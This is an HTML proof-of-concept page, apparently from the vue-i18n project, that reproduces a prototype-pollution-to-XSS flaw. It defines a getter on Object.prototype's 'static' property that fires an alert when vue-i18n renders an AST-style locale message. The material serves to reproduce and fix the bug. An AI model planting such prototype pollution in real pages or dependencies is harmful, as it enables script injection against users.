<!doctype html>
<html>
  <head>
    <meta charset="utf-8" >
    <title>vue-i18n XSS</title>
    <script src="../../node_modules/vue/dist/vue.global.js"></script>
    <script src="../../packages/vue-i18n/dist/vue-i18n.global.js"></script>
    <!-- Scripts that perform prototype contamination, such as being distributed from malicious hosting sites or injected through supply chain attacks, etc. -->
    <script>
      /**
       * Prototype pollution vulnerability with `Object.prototype`.
       * The 'static' property is part of the optimized AST generated by the vue-i18n message compiler.
       * About details of special properties, see https://github.com/intlify/vue-i18n/blob/master/packages/message-compiler/src/nodes.ts
       *
       * In general, the locale messages of vue-i18n are optimized during production builds using `@intlify/unplugin-vue-i18n`,
       * so there is always a property that is attached during optimization like this time.
       * But if you are using a locale message AST in development or your own, there is a possibility of XSS if a third party injects prototype pollution code.
       */
      Object.defineProperty(Object.prototype, 'static', {
        configurable: true,
        get() {
          alert('prototype polluted!')
          return 'prototype pollution'
        }
      })
    </script>
  </head>
  <body>
    <div id="app">
      <p>{{ t('hello') }}</p>
    </div>
    <script>
      const { createApp } = Vue
      const { createI18n, useI18n } = VueI18n

      // AST style locale message, which build by `@intlify/unplugin-vue-i18n`
      const en = {
        hello: {
          type: 0,
          body: {
            items: [
              {
                type: 3,
                value: 'hello world!'
              }
            ]
          }
        }
      }

      const i18n = createI18n({
        locale: 'en',
        messages: {
          en
        }
      })

      const app = createApp({
        setup() {
          const { t } = useI18n()
          return { t }
        }
      })
      app.use(i18n)
      app.mount('#app')
    </script>
  </body>
</html>
